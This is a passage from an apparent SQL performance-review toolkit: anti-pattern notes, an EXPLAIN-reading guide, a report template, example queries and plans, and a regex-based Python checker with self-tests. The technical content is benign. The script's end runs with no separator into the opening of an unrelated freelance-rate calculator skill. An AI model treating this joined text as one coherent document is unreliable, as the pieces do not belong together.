One query for a list, then one query per row (an ORM lazy-loading a relation). 50 orders = 51 round trips; each is fast, the page is slow.
```
-- before (x N)
SELECT product_id, qty FROM order_items WHERE order_id = 98211;
-- after (1 query)
SELECT order_id, product_id, qty FROM order_items WHERE order_id IN (98211, 98340, 98502);
-- or join it into the list query
```
ORM fixes: Django `prefetch_related`/`select_related`, Rails `includes`, SQLAlchemy `selectinload`, Hibernate `JOIN FETCH` / `@BatchSize`, Prisma `include`. The checker needs the repeated statements in the file (paste a log excerpt).
## ORDER_BY_RANDOM (HIGH)
`ORDER BY RAND() LIMIT 1` reads and sorts the whole table. Pick a random id in range and take the next row (`WHERE id >= ? ORDER BY id LIMIT 1`), keep a random-number column with an index, or use `TABLESAMPLE SYSTEM (1)` in PostgreSQL.
## NO_WHERE_WRITE (HIGH)
`UPDATE`/`DELETE` without WHERE locks and rewrites every row. If that is intended, do it in batches (`DELETE ... WHERE id IN (SELECT id ... LIMIT 5000)` in a loop) or use `TRUNCATE`.
## SELECT_STAR (MEDIUM)
Reads every column (including large text/JSON), sends more bytes, prevents index-only scans and breaks callers when columns change. List the columns. `SELECT *` inside `EXISTS (...)` is fine.
## OR_ACROSS_COLUMNS (MEDIUM) and OR_SAME_COLUMN (LOW)
`WHERE email = ? OR phone = ?`: one index cannot serve both. PostgreSQL may combine two indexes with a BitmapOr and MySQL with index_merge; if the plan shows a scan instead, split:
```
SELECT id FROM users WHERE email = ?
UNION ALL
SELECT id FROM users WHERE phone = ? AND email IS DISTINCT FROM ?; -- avoid duplicates (MySQL: NOT (email <=> ?))
```
Same column repeated: `status IN ('paid', 'shipped')` is shorter and plans the same or better.
## IMPLICIT_CAST (MEDIUM) and QUOTED_NUMBER (LOW)
A text column compared with a number (`sku = 40017` on a VARCHAR): MySQL converts every row's value to a number, so the index is skipped and '040017' also matches; PostgreSQL raises an operator error. Quote the value. A numeric column compared with a quoted number (`customer_id = '1042'`) is converted once and is usually fine, but it often means the application binds ids as strings; a parameter typed as text can force a cast on the column side in some drivers (JDBC `setString` on SQL Server NVARCHAR vs VARCHAR is the classic case).
## NOT_IN_SUBQUERY (MEDIUM, correctness)
If the subquery returns a single NULL, `NOT IN` returns no rows at all. Use:
```
SELECT c.id FROM customers c
WHERE NOT EXISTS (SELECT 1 FROM orders o WHERE o.customer_id = c.id);
```
NOT EXISTS plans as an anti-join in every major engine.
## DEEP_OFFSET (MEDIUM)
`LIMIT 20 OFFSET 4000` reads 4020 rows and throws away 4000; page 500 is 25x slower than page 1. Keyset (seek) pagination:
```
SELECT id, created_at, total FROM orders
WHERE customer_id = ? AND (created_at, id) < (?, ?) -- last row of the previous page
ORDER BY created_at DESC, id DESC
LIMIT 20;
```
Index `(customer_id, created_at, id)`. MySQL supports row comparisons too; SQL Server: `created_at < ? OR (created_at = ? AND id < ?)`.
## COUNT_FOR_EXISTS (LOW)
`SELECT COUNT(*) ... > 0` counts all matches. `SELECT EXISTS (SELECT 1 FROM ... WHERE ...)` stops at the first.
## DISTINCT_JOIN (LOW)
`SELECT DISTINCT u.* FROM users u JOIN orders o ...` builds all user x order rows then removes duplicates. Use `WHERE EXISTS (SELECT 1 FROM orders o WHERE o.user_id = u.id)`.
## NO_INDEX_FOR_FILTER (MEDIUM, needs --indexes)
A column used in WHERE/ON is not the first column of any listed index. Not every filter needs an index (small tables, low-selectivity flags, rare queries). Composite index order: equality columns first, then the ORDER BY column, then range columns; include selected columns for an index-only scan only when the query is hot.
FILE:references/reading-explain.md
# Reading EXPLAIN
## Capture
| Engine | Command | Notes |
|---|---|---|
| PostgreSQL | `EXPLAIN (ANALYZE, BUFFERS) <query>;` | ANALYZE runs the query; wrap writes in `BEGIN; ... ROLLBACK;` |
| MySQL 8 | `EXPLAIN ANALYZE <query>;` or `EXPLAIN <query>\G` | The checker parses the `\G` vertical format |
| MariaDB | `ANALYZE <query>;` / `EXPLAIN <query>\G` | |
| SQL Server | `SET STATISTICS IO, TIME ON;` + actual execution plan | Read manually |
| SQLite | `EXPLAIN QUERY PLAN <query>;` | Look for `SCAN table` vs `SEARCH table USING INDEX` |
Run it on production-like data. A plan on a 1000-row dev table tells you nothing about a 50-million-row table.
## What the checker looks for
| Finding | PostgreSQL sign | MySQL sign |
|---|---|---|
| SEQ_SCAN_LARGE | `Seq Scan on t` with actual rows >= 10000 | `type: ALL`, `rows` >= 10000, `key: NULL` |
| ROWS_REMOVED | `Rows Removed by Filter` >= 9x the rows kept | `filtered` <= 10% on >= 1000 rows |
| EST_MISMATCH | `rows=` estimate vs `actual ... rows=` off by 10x | (EXPLAIN ANALYZE only, read manually) |
| DISK_SORT | `Sort Method: external merge Disk: ...` | `Using temporary; Using filesort` |
| NESTED_LOOP_MANY | inner node with `loops=` >= 1000 | many rows in the driving table + `ref` lookups |
## Reading a PostgreSQL plan
- Read from the most indented node up; each `->` feeds its parent.
- `cost=a..b` is the planner's guess (arbitrary units), `actual time=a..b` is milliseconds per loop; multiply by `loops`.
- `rows=` in the cost part is the estimate, in the actual part the real count. A 10x miss means stale or missing statistics: `ANALYZE table;`, or extended statistics for correlated columns (`CREATE STATISTICS`).
- `Index Scan` / `Index Only Scan` / `Bitmap Index Scan` = index used. `Heap Fetches` high on an index-only scan = run VACUUM.
- `Buffers: shared read=` counts 8 kB pages from disk; `hit=` from cache.
- `Sort Method: external merge` = the sort did not fit in `work_mem`. Prefer an index that returns rows in order; raise work_mem per session only for known reporting queries.
## Reading MySQL EXPLAIN
- `type` from best to worst: `const`, `eq_ref`, `ref`, `range`, `index` (full index scan), `ALL` (full table scan).
- `key` is the index chosen (`NULL` = none); `possible_keys` lists candidates.
- `rows` x `filtered`% = rows passed on to the next step.
- `Extra`: `Using index` (covering, good), `Using where` (filter after reading), `Using temporary` and `Using filesort` (extra work for GROUP BY / ORDER BY).
## Before/after measurement
1. Run the original 3 times, record median execution time and rows/buffers read.
2. Apply one change at a time (rewrite, then index).
3. Run again with the same parameters; also test a "big" customer and a "small" one, because plans change with data skew.
4. Check write cost for new indexes on hot tables (insert latency, index size with `pg_relation_size` or `information_schema.STATISTICS`).
FILE:templates/review-report.md
# SQL performance review: <query or endpoint name>
**Engine:** <PostgreSQL 16 / MySQL 8.0 / ...> **Tables:** <orders ~1.2M rows, order_items ~4M>
**Summary:** <one sentence: the main problem and the expected effect of the fix>
## Findings
| # | Severity | Finding | Statement | Why it matters | Fix |
|---|---|---|---|---|---|
| 1 | HIGH | <AND_OR_PRECEDENCE> | <stmt 1> | <returns all shipped orders, full scan> | <parenthesize / IN (...)> |
| 2 | <MEDIUM> | <...> | <...> | <...> | <...> |
## Rewritten queries
### Statement <n>: <name>
Before:
```sql
<original>
```
After:
```sql
<rewrite>
```
Why: <one or two sentences>
## Index changes (only if needed)
```sql
<CREATE INDEX CONCURRENTLY ix_orders_customer_created ON orders (customer_id, created_at DESC, id);>
```
Write cost: <table write rate, expected index size>
## Measure
| Query | Before (ms, rows read) | After (ms, rows read) |
|---|---|---|
| <stmt 1> | <912 ms, 1.2M rows> | <expected: < 5 ms, ~20 rows> |
Run `EXPLAIN (ANALYZE, BUFFERS)` again after each change, with a large and a small customer.
## Not changed
<findings deliberately left, e.g. SELECT * in an admin export, with the reason>
FILE:examples/order-history.sql
-- Order history page of a small online shop (PostgreSQL), captured from the app log.
-- 1. Order list for the account page
SELECT * FROM orders o
WHERE LOWER(o.customer_email) = 'mina.sato@example.com'
AND o.status = 'paid' OR o.status = 'shipped'
ORDER BY o.created_at DESC
LIMIT 20 OFFSET 4000;
-- 2-4. Line items, loaded one order at a time by the ORM
SELECT product_id, qty, unit_price FROM order_items WHERE order_id = 98211;
SELECT product_id, qty, unit_price FROM order_items WHERE order_id = 98340;
SELECT product_id, qty, unit_price FROM order_items WHERE order_id = 98502;
-- 5. Search box
SELECT p.id, p.name FROM products p
WHERE p.name LIKE '%wireless%' AND p.sku = 40017;
-- 6. Customers who never ordered
SELECT c.id, c.email FROM customers c
WHERE c.id NOT IN (SELECT customer_id FROM orders)
AND DATE(c.created_at) = '2026-10-01';
-- 7. Order lookup by id from a URL parameter
SELECT o.id, o.total FROM orders o WHERE o.customer_id = '1042';
FILE:examples/order-history-explain.txt
Limit (cost=48211.30..48211.35 rows=20 width=212) (actual time=912.4..912.5 rows=20 loops=1)
-> Sort (cost=48201.30..48251.12 rows=19930 width=212) (actual time=905.1..911.8 rows=4020 loops=1)
Sort Key: created_at DESC
Sort Method: external merge Disk: 18432kB
-> Seq Scan on orders o (cost=0.00..41870.00 rows=19930 width=212) (actual time=0.03..801.7 rows=412560 loops=1)
Filter: (((lower(customer_email) = 'mina.sato@example.com'::text) AND (status = 'paid'::text)) OR (status = 'shipped'::text))
Rows Removed by Filter: 787440
Planning Time: 0.4 ms
Execution Time: 914.9 ms
FILE:examples/indexes.txt
orders(customer_id, created_at)
orders(status)
order_items(order_id)
customers(id)
products(id)
FILE:scripts/sql_review.py
#!/usr/bin/env python3
"""SQL query performance reviewer (Python 3 standard library only).
Reads a .sql file (one or more statements separated by ;) and, optionally, EXPLAIN output,
and flags common performance problems with a heuristic, regex-based scan. It does not connect
to a database and never runs the SQL. Treat findings as review prompts, not proof.
Query findings (severity):
HIGH FUNC_ON_COLUMN function or arithmetic wraps a column in WHERE/ON (index cannot be used)
HIGH LEADING_WILDCARD LIKE/ILIKE pattern starts with % or _ (full scan)
HIGH N_PLUS_ONE the same statement shape repeats >= --repeat times with different literals
HIGH ORDER_BY_RANDOM ORDER BY RAND()/RANDOM() sorts the whole table
HIGH NO_WHERE_WRITE UPDATE or DELETE without WHERE
HIGH AND_OR_PRECEDENCE AND and OR mixed without parentheses: AND binds first, so the OR branch
matches rows from the whole table (wrong results and a full scan)
MEDIUM SELECT_STAR SELECT * or alias.* (wide rows, no covering index, breaks on schema change)
MEDIUM OR_ACROSS_COLUMNS OR between different columns in WHERE (consider UNION ALL)
MEDIUM IMPLICIT_CAST code/phone/sku-like (text) column compared with a bare number: MySQL
casts every row and skips the index, PostgreSQL raises a type error
MEDIUM NOT_IN_SUBQUERY NOT IN (SELECT ...): NULL trap and poor anti-join plans; use NOT EXISTS
MEDIUM DEEP_OFFSET OFFSET (or LIMIT a,b) >= 1000: keyset pagination instead
MEDIUM NO_INDEX_FOR_FILTER (needs --indexes) filtered/joined column not leading any known index
LOW QUOTED_NUMBER id/number column compared with a quoted number: usually fine for a literal,
but a sign the app binds ids as text (typed text parameters can force a cast)
LOW OR_SAME_COLUMN col = a OR col = b: write col IN (a, b)
LOW COUNT_FOR_EXISTS COUNT(*) > 0 used as an existence check; use EXISTS
LOW DISTINCT_JOIN SELECT DISTINCT with JOIN may hide a join fan-out
EXPLAIN findings (PostgreSQL text format and MySQL EXPLAIN \\G vertical format):
HIGH SEQ_SCAN_LARGE Seq Scan / type ALL over >= --large-rows rows
MEDIUM ROWS_REMOVED a filter throws away >= 90% of the rows it reads
MEDIUM EST_MISMATCH estimated vs actual rows differ by >= 10x (stale statistics)
MEDIUM DISK_SORT external merge sort / Using filesort with Using temporary
LOW NESTED_LOOP_MANY inner side of a nested loop runs >= 1000 loops
Usage:
python3 sql_review.py query.sql
python3 sql_review.py query.sql --explain plan.txt --indexes indexes.txt --json
python3 sql_review.py --self-test
--indexes file: one index per line, e.g. "orders(customer_id, created_at)".
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import re
import sys
from collections import defaultdict
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
FUNCS = ("lower", "upper", "trim", "ltrim", "rtrim", "date", "year", "month", "day", "cast",
"coalesce", "ifnull", "nvl", "substring", "substr", "left", "right", "to_char",
"date_trunc", "extract", "date_format", "convert", "abs", "round", "concat", "length")
ID_COL = re.compile(r"(^|_)(id|number|count|qty|quantity|amount)$")
TEXT_COL = re.compile(r"(phone|zip|postal_code|postcode|sku|isbn|iban|code|_no)$")
KEYWORDS = {"where", "on", "and", "or", "not", "join", "left", "right", "inner", "outer", "full",
"cross", "group", "order", "by", "limit", "offset", "having", "union", "select", "from",
"as", "using", "set", "values", "into", "lateral", "natural", "straight_join", "with"}
class DataError(ValueError):
pass
def mask(sql):
"""Remove comments, replace string literals with 'Sn' tokens; return (masked, literals)."""
sql = re.sub(r"--[^\n]*", " ", sql)
sql = re.sub(r"/\*.*?\*/", " ", sql, flags=re.S)
lits = []
def rep(m):
lits.append(m.group(0)[1:-1].replace("''", "'"))
return f"'S{len(lits) - 1}'"
return re.sub(r"'(?:[^']|'')*'", rep, sql), lits
def split_statements(text):
masked, lits = mask(text)
out = []
for part in masked.split(";"):
s = " ".join(part.split())
if s:
out.append(s)
return out, lits
def clause(stmt, start, enders):
m = re.search(r"\b" + start + r"\b", stmt, re.I)
if not m:
return ""
rest = stmt[m.end():]
e = re.search(r"\b(" + "|".join(enders) + r")\b", rest, re.I)
return rest[:e.start()] if e else rest
def where_part(stmt):
return clause(stmt, "where", ["group\\s+by", "order\\s+by", "limit", "offset", "having",
"union", "returning", "for\\s+update", "window"])
def join_on_parts(stmt):
return re.findall(r"\bon\b(.*?)(?=\b(?:join|left|right|inner|full|cross|where|group|order|limit|union)\b|$)",
stmt, re.I)
def aliases(stmt):
amap = {}
for m in re.finditer(r"\b(?:from|join)\s+([a-z_][\w.]*)(?:\s+(?:as\s+)?([a-z_]\w*))?", stmt, re.I):
table, alias = m.group(1).lower(), (m.group(2) or "").lower()
if table == "select" or table.startswith("("):
continue
amap[table.split(".")[-1]] = table.split(".")[-1]
if alias and alias not in KEYWORDS:
amap[alias] = table.split(".")[-1]
return amap
def shape(stmt):
s = re.sub(r"'S\d+'", "?", stmt)
s = re.sub(r"\b\d+(\.\d+)?\b", "?", s)
s = re.sub(r"\(\s*\?(\s*,\s*\?)*\s*\)", "(?)", s)
return s.lower()
def review_sql(text, repeat=3, indexes=None):
stmts, lits = split_statements(text)
if not stmts:
raise DataError("no SQL statements found")
findings = []
def add(sev, code, n, msg):
findings.append({"severity": sev, "code": code, "statement": n, "message": msg})
shapes = defaultdict(list)
for n, st in enumerate(stmts, 1):
low = st.lower()
kind = low.split()[0]
shapes[shape(st)].append(n)
where = where_part(st)
ons = join_on_parts(st)
filt = " AND ".join([where] + ons)
if re.search(r"\bselect\s+(distinct\s+)?(\w+\.)?\*", low) or re.search(r",\s*\w+\.\*", low):
add("MEDIUM", "SELECT_STAR", n, "SELECT * reads every column; list the columns you need so a covering index can serve the query")
for m in re.finditer(r"\b(" + "|".join(FUNCS) + r")\s*\(\s*([a-z_][\w]*(?:\.[a-z_]\w*)?)\b[^()]*\)\s*(=|<>|!=|<=|>=|<|>|\bin\b|\blike\b|\bbetween\b)",
filt, re.I):
col = m.group(2)
if col.lower() in KEYWORDS or re.fullmatch(r"S\d+", col):
continue
add("HIGH", "FUNC_ON_COLUMN", n, f"{m.group(1)}({col}) in a filter hides {col} from its index; compare the bare column (e.g. a range on the raw value) or add an expression index")
for m in re.finditer(r"([a-z_][\w.]*)\s*[+\-*/]\s*\d+\s*(=|<|>|<=|>=)", filt, re.I):
add("HIGH", "FUNC_ON_COLUMN", n, f"arithmetic on {m.group(1)} in a filter; move it to the other side of the comparison")
for m in re.finditer(r"([a-z_][\w.]*)\s+(not\s+)?(i?like)\s+'S(\d+)'", st, re.I):
pat = lits[int(m.group(4))]
if pat[:1] in ("%", "_"):
add("HIGH", "LEADING_WILDCARD", n, f"{m.group(1)} {m.group(3).upper()} '{pat}' starts with a wildcard, so no B-tree index helps; use full-text search, a trigram index or a reversed column")
if re.search(r"order\s+by\s+(rand|random|newid)\s*\(\s*\)", low):
add("HIGH", "ORDER_BY_RANDOM", n, "ORDER BY random sorts every row; pick random ids or use TABLESAMPLE")
if kind in ("update", "delete") and not where.strip():
add("HIGH", "NO_WHERE_WRITE", n, f"{kind.upper()} without WHERE touches every row; add a WHERE clause or batch it")
if where:
top = where
while re.search(r"\([^()]*\)", top):
top = re.sub(r"\([^()]*\)", " _ ", top)
top = re.sub(r"\bbetween\s+\S+\s+and\b", "between x", top, flags=re.I)
if re.search(r"\band\b", top, re.I) and re.search(r"\bor\b", top, re.I):
add("HIGH", "AND_OR_PRECEDENCE", n, "AND and OR are mixed without parentheses; AND binds first, so 'a AND b OR c' returns every row matching c; add parentheses: a AND (b OR c)")
for group in re.split(r"\band\b", where, flags=re.I):
if not re.search(r"\bor\b", group, re.I):
continue
cols = re.findall(r"([a-z_][\w.]*)\s*(?:=|<>|!=|<|>|\bin\b|\blike\b)", group, re.I)
cols = [c.lower() for c in cols if c.lower() not in KEYWORDS and not re.fullmatch(r"s\d+", c.lower())]
if len(set(cols)) >= 2:
add("MEDIUM", "OR_ACROSS_COLUMNS", n, f"OR across {', '.join(sorted(set(cols)))}: one index cannot serve both sides; split into UNION ALL of indexed queries (or check the plan uses a bitmap OR)")
elif len(cols) >= 2:
add("LOW", "OR_SAME_COLUMN", n, f"repeated OR on {cols[0]}; write {cols[0]} IN (...)")
for m in re.finditer(r"([a-z_][\w.]*)\s*(=|<>|!=|<|>)\s*'S(\d+)'", filt, re.I):
col = m.group(1).split(".")[-1].lower()
if ID_COL.search(col) and re.fullmatch(r"-?\d+(\.\d+)?", lits[int(m.group(3))]):
add("LOW", "QUOTED_NUMBER", n, f"{m.group(1)} compared with the string '{lits[int(m.group(3))]}'; bind it as a number so the driver never sends a text parameter")
for m in re.finditer(r"([a-z_][\w.]*)\s*(=|<>|!=)\s*(\d{3,})\b", filt, re.I):
col = m.group(1).split(".")[-1].lower()
if TEXT_COL.search(col):
add("MEDIUM", "IMPLICIT_CAST", n, f"{m.group(1)} looks like a text column but is compared with the number {m.group(3)}; MySQL then casts every row and skips the index (PostgreSQL raises a type error); quote the value")
if re.search(r"\bnot\s+in\s*\(\s*select\b", low):
add("MEDIUM", "NOT_IN_SUBQUERY", n, "NOT IN (SELECT ...) returns no rows if the subquery yields a NULL and often plans badly; use NOT EXISTS")
m = re.search(r"\boffset\s+(\d+)", low) or re.search(r"\blimit\s+(\d+)\s*,\s*\d+", low)
if m and int(m.group(1)) >= 1000:
add("MEDIUM", "DEEP_OFFSET", n, f"OFFSET {m.group(1)} reads and throws away {m.group(1)} rows; use keyset pagination (WHERE (created_at, id) < (?, ?) ORDER BY ... LIMIT n)")
if re.search(r"count\s*\(\s*(\*|1)\s*\)\s*(>\s*0|>=\s*1)", low):
add("LOW", "COUNT_FOR_EXISTS", n, "COUNT(*) > 0 counts every match; EXISTS stops at the first")
if re.search(r"\bselect\s+distinct\b", low) and re.search(r"\bjoin\b", low):
add("LOW", "DISTINCT_JOIN", n, "DISTINCT on a join often hides duplicate rows from a one-to-many join; use EXISTS or aggregate first")
if indexes is not None:
amap = aliases(st)
seen = set()
for m in re.finditer(r"\b([a-z_]\w*)\.([a-z_]\w*)\s*(?:=|<|>|<=|>=|\bin\b|\bbetween\b)", filt, re.I):
table = amap.get(m.group(1).lower())
col = m.group(2).lower()
if not table or (table, col) in seen:
continue
seen.add((table, col))
if table in indexes and col not in indexes[table]:
add("MEDIUM", "NO_INDEX_FOR_FILTER", n, f"{table}.{col} is filtered or joined but no listed index on {table} starts with it")
for sh, ns in shapes.items():
if len(ns) >= repeat and ("where" in sh):
add("HIGH", "N_PLUS_ONE", ns[0], f"statements {', '.join(map(str, ns))} have the same shape with different values ({len(ns)}x); fetch them in one query with IN (...) or a JOIN")
findings.sort(key=lambda f: (SEV_ORDER[f["severity"]], f["statement"], f["code"]))
shown = [re.sub(r"'S(\d+)'", lambda m: "'" + lits[int(m.group(1))].replace("'", "''") + "'", st) for st in stmts]
return shown, findings
def parse_indexes(text):
idx = defaultdict(set)
for line in text.splitlines():
m = re.match(r"\s*([\w.]+)\s*\(\s*([\w\s,]+)\)", line)
if m:
idx[m.group(1).split(".")[-1].lower()].add(m.group(2).split(",")[0].strip().lower())
return idx
def review_explain(text, large=10000):
findings = []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "statement": 0, "message": msg})
lines = text.splitlines()
if re.search(r"^\s*(\*+ \d+\. row|select_type:)", text, re.M):
for block in re.split(r"\*+ \d+\. row \*+", text):
f = dict(re.findall(r"^\s*(\w+):\s*(.*?)\s*$", block, re.M))
if not f:
continue
rows = int(f.get("rows", "0") or 0)
if f.get("type") == "ALL" and rows >= large:
add("HIGH", "SEQ_SCAN_LARGE", f"full table scan (type ALL) on {f.get('table')} ~{rows} rows; key={f.get('key', 'NULL')}")
extra = f.get("Extra", "")
if "Using filesort" in extra and "Using temporary" in extra:
add("MEDIUM", "DISK_SORT", f"{f.get('table')}: Using temporary; Using filesort - an index matching GROUP BY/ORDER BY avoids it")
filtered = float(f.get("filtered", "100") or 100)
if rows >= 1000 and filtered <= 10:
add("MEDIUM", "ROWS_REMOVED", f"{f.get('table')}: only {filtered:g}% of {rows} rows pass the filter")
return findings
for i, line in enumerate(lines):
m = re.search(r"(Parallel )?Seq Scan on (\S+).*?rows=(\d+)", line)
if m:
act = re.search(r"actual[^)]*rows=(\d+)", line)
rows = int(act.group(1) if act else m.group(3))
if rows >= large:
add("HIGH", "SEQ_SCAN_LARGE", f"Seq Scan on {m.group(2)} returns ~{rows} rows; an index on the filter columns may help")
m = re.search(r"Rows Removed by Filter:\s*(\d+)", line)
if m:
removed = int(m.group(1))
prev = next((l for l in reversed(lines[:i]) if "actual" in l), "")
k = re.search(r"actual[^)]*rows=(\d+)", prev)
kept = int(k.group(1)) if k else 0
if removed >= 1000 and removed >= 9 * max(kept, 1):
add("MEDIUM", "ROWS_REMOVED", f"filter removed {removed} rows to keep {kept} ({prev.strip()[:60]}...)")
m = re.search(r"cost=[\d.]+\.\.[\d.]+ rows=(\d+).*actual time=[\d.]+\.\.[\d.]+ rows=(\d+) loops=(\d+)", line)
if m:
est, act, loops = int(m.group(1)), int(m.group(2)), int(m.group(3))
if max(est, act) >= 100 and max(est, act) >= 10 * max(min(est, act), 1):
node = line.strip().lstrip("->").strip().split(" ")[0]
add("MEDIUM", "EST_MISMATCH", f"{node[:50]}: estimated {est} rows, actual {act}; run ANALYZE")
if loops >= 1000:
node = line.strip().lstrip("->").strip().split(" ")[0]
add("LOW", "NESTED_LOOP_MANY", f"{node[:50]} runs {loops} loops; check the join index or consider a hash join")
if re.search(r"Sort Method: external merge", line):
add("MEDIUM", "DISK_SORT", "sort spilled to disk (external merge); add an index for ORDER BY or raise work_mem for this query")
findings.sort(key=lambda f: SEV_ORDER[f["severity"]])
return findings
def render(path, stmts, findings):
out = [f"# SQL performance review: {path}", "",
f"{len(stmts)} statement(s); {sum(f['severity'] == 'HIGH' for f in findings)} HIGH, "
f"{sum(f['severity'] == 'MEDIUM' for f in findings)} MEDIUM, {sum(f['severity'] == 'LOW' for f in findings)} LOW", ""]
for n, st in enumerate(stmts, 1):
out.append(f"{n}. {st[:110]}{'...' if len(st) > 110 else ''}")
out += ["", "## Findings"]
if not findings:
out.append("- none (heuristics only: still check the real plan with EXPLAIN ANALYZE)")
for f in findings:
where = f"stmt {f['statement']}" if f["statement"] else "EXPLAIN"
out.append(f"- {f['severity']} {f['code']} ({where}): {f['message']}")
return "\n".join(out)
def self_test():
results = []
def check(name, cond):
results.append(cond)
print(("PASS " if cond else "FAIL ") + name)
def codes(sql, **kw):
return [f["code"] for f in review_sql(sql, **kw)[1]]
check("select star", "SELECT_STAR" in codes("SELECT * FROM users WHERE id = 1"))
check("alias star", "SELECT_STAR" in codes("SELECT o.* FROM orders o WHERE o.id = 1"))
check("explicit columns ok", "SELECT_STAR" not in codes("SELECT id, name FROM users WHERE id = 1"))
check("lower(col) HIGH", "FUNC_ON_COLUMN" in codes("SELECT id FROM users WHERE LOWER(email) = 'a@b.c'"))
check("year(col) HIGH", "FUNC_ON_COLUMN" in codes("SELECT id FROM orders WHERE YEAR(created_at) = 2026"))
check("arithmetic HIGH", "FUNC_ON_COLUMN" in codes("SELECT id FROM t WHERE price * 2 > 100"))
check("function on value side ok", "FUNC_ON_COLUMN" not in codes("SELECT id FROM users WHERE email = LOWER('A@B.C')"))
check("leading wildcard", "LEADING_WILDCARD" in codes("SELECT id FROM p WHERE name LIKE '%phone%'"))
check("trailing wildcard ok", "LEADING_WILDCARD" not in codes("SELECT id FROM p WHERE name LIKE 'phone%'"))
check("wildcard inside string literal ignored", "LEADING_WILDCARD" not in codes("SELECT 'x LIKE %y' AS note FROM p WHERE id = 1"))
check("N+1 detected", "N_PLUS_ONE" in codes("SELECT name FROM users WHERE id = 1; SELECT name FROM users WHERE id = 2; SELECT name FROM users WHERE id = 3;"))
check("2 repeats not N+1", "N_PLUS_ONE" not in codes("SELECT name FROM users WHERE id = 1; SELECT name FROM users WHERE id = 2;"))
check("OR across columns", "OR_ACROSS_COLUMNS" in codes("SELECT id FROM u WHERE email = 'a' OR phone = 'b'"))
check("OR same column LOW", "OR_SAME_COLUMN" in codes("SELECT id FROM u WHERE status = 'a' OR status = 'b'"))
check("quoted number LOW", "QUOTED_NUMBER" in codes("SELECT id FROM orders WHERE customer_id = '42'"))
check("implicit cast phone number", "IMPLICIT_CAST" in codes("SELECT id FROM users WHERE phone = 5551234"))
check("number id ok", "QUOTED_NUMBER" not in codes("SELECT id FROM orders WHERE customer_id = 42"))
check("NOT IN subquery", "NOT_IN_SUBQUERY" in codes("SELECT id FROM a WHERE id NOT IN (SELECT a_id FROM b)"))
check("deep offset", "DEEP_OFFSET" in codes("SELECT id FROM a ORDER BY id LIMIT 20 OFFSET 50000"))
check("mysql limit a,b offset", "DEEP_OFFSET" in codes("SELECT id FROM a ORDER BY id LIMIT 20000, 20"))
check("order by rand", "ORDER_BY_RANDOM" in codes("SELECT id FROM a ORDER BY RAND() LIMIT 1"))
check("delete without where", "NO_WHERE_WRITE" in codes("DELETE FROM sessions"))
check("AND/OR precedence HIGH", "AND_OR_PRECEDENCE" in codes("SELECT id FROM o WHERE a = 1 AND b = 2 OR b = 3"))
check("parenthesized OR ok", "AND_OR_PRECEDENCE" not in codes("SELECT id FROM o WHERE a = 1 AND (b = 2 OR b = 3)"))
check("BETWEEN ... AND not an AND", "AND_OR_PRECEDENCE" not in codes("SELECT id FROM o WHERE d BETWEEN 1 AND 5 OR e = 2"))
check("literals restored in output", "'mina'" in review_sql("SELECT id FROM u WHERE name = 'mina'")[0][0])
check("count for exists", "COUNT_FOR_EXISTS" in codes("SELECT CASE WHEN COUNT(*) > 0 THEN 1 END FROM a WHERE b = 1"))
check("distinct join", "DISTINCT_JOIN" in codes("SELECT DISTINCT u.id FROM users u JOIN orders o ON o.user_id = u.id"))
idx = parse_indexes("orders(customer_id, created_at)\nusers(id)")
c = codes("SELECT o.id FROM orders o JOIN users u ON u.id = o.customer_id WHERE o.status = 'paid'", indexes=idx)
check("no index for filter", c.count("NO_INDEX_FOR_FILTER") == 1)
check("comments stripped", codes("-- SELECT * FROM x\nSELECT id FROM users WHERE id = 1") == [])
pg = """Seq Scan on orders (cost=0.00..25000.00 rows=50 width=8) (actual time=0.1..310.2 rows=48210 loops=1)
Filter: (status = 'paid'::text)
Rows Removed by Filter: 951790
Sort Method: external merge Disk: 51200kB"""
e = [f["code"] for f in review_explain(pg)]
check("pg seq scan large", "SEQ_SCAN_LARGE" in e)
check("pg rows removed", "ROWS_REMOVED" in e)
check("pg estimate mismatch", "EST_MISMATCH" in e)
check("pg disk sort", "DISK_SORT" in e)
my = """*************************** 1. row ***************************
id: 1
select_type: SIMPLE
table: orders
type: ALL
key: NULL
rows: 980000
filtered: 5.00
Extra: Using where; Using temporary; Using filesort"""
e = [f["code"] for f in review_explain(my)]
check("mysql type ALL", "SEQ_SCAN_LARGE" in e and "DISK_SORT" in e and "ROWS_REMOVED" in e)
try:
review_sql(" -- only a comment\n")
check("empty input rejected", False)
except DataError:
check("empty input rejected", True)
print(f"{sum(results)}/{len(results)} passed")
return 0 if all(results) else 1
def main():
ap = argparse.ArgumentParser(description="SQL query performance reviewer (heuristic)")
ap.add_argument("sql", nargs="?", help=".sql file with one or more statements")
ap.add_argument("--explain", help="EXPLAIN output (PostgreSQL text or MySQL \\G)")
ap.add_argument("--indexes", help="known indexes, one per line: table(col1, col2)")
ap.add_argument("--repeat", type=int, default=3, help="N+1 threshold (default 3)")
ap.add_argument("--large-rows", type=int, default=10000, help="rows for SEQ_SCAN_LARGE (default 10000)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.sql:
ap.error("give a .sql file or --self-test")
try:
with open(a.sql, encoding="utf-8") as fh:
text = fh.read()
idx = None
if a.indexes:
with open(a.indexes, encoding="utf-8") as fh:
idx = parse_indexes(fh.read())
stmts, findings = review_sql(text, a.repeat, idx)
if a.explain:
with open(a.explain, encoding="utf-8") as fh:
findings += review_explain(fh.read(), a.large_rows)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
if a.json:
print(json.dumps({"statements": stmts, "findings": findings}, indent=2))
else:
print(render(a.sql, stmts, findings))
return 1 if any(f["severity"] == "HIGH" for f in findings) else 0
if __name__ == "__main__":
sys.exit(main())Works out the hourly and day rate a freelancer must charge from the take-home income they want. Counts taxes, business costs, savings, vacation, holidays, sick days, the real billable share and a risk buffer, shows how the rate moves with billable time, and prices a project with contingency. Flags rates below break-even or target, unrealistic billable hours and rates off the market. Includes a stdlib Python calculator with --self-test.
---
name: freelance-hourly-rate-calculator
description: Works out the hourly and day rate a freelancer must charge from the take-home income they want. Counts taxes, business costs, savings, vacation, holidays, sick days, the real billable share and a risk buffer, shows how the rate moves with billable time, and prices a project with contingency. Flags rates below break-even or target, unrealistic billable hours and rates off the market. Includes a stdlib Python calculator with --self-test.
---
# Freelance Hourly Rate Calculator
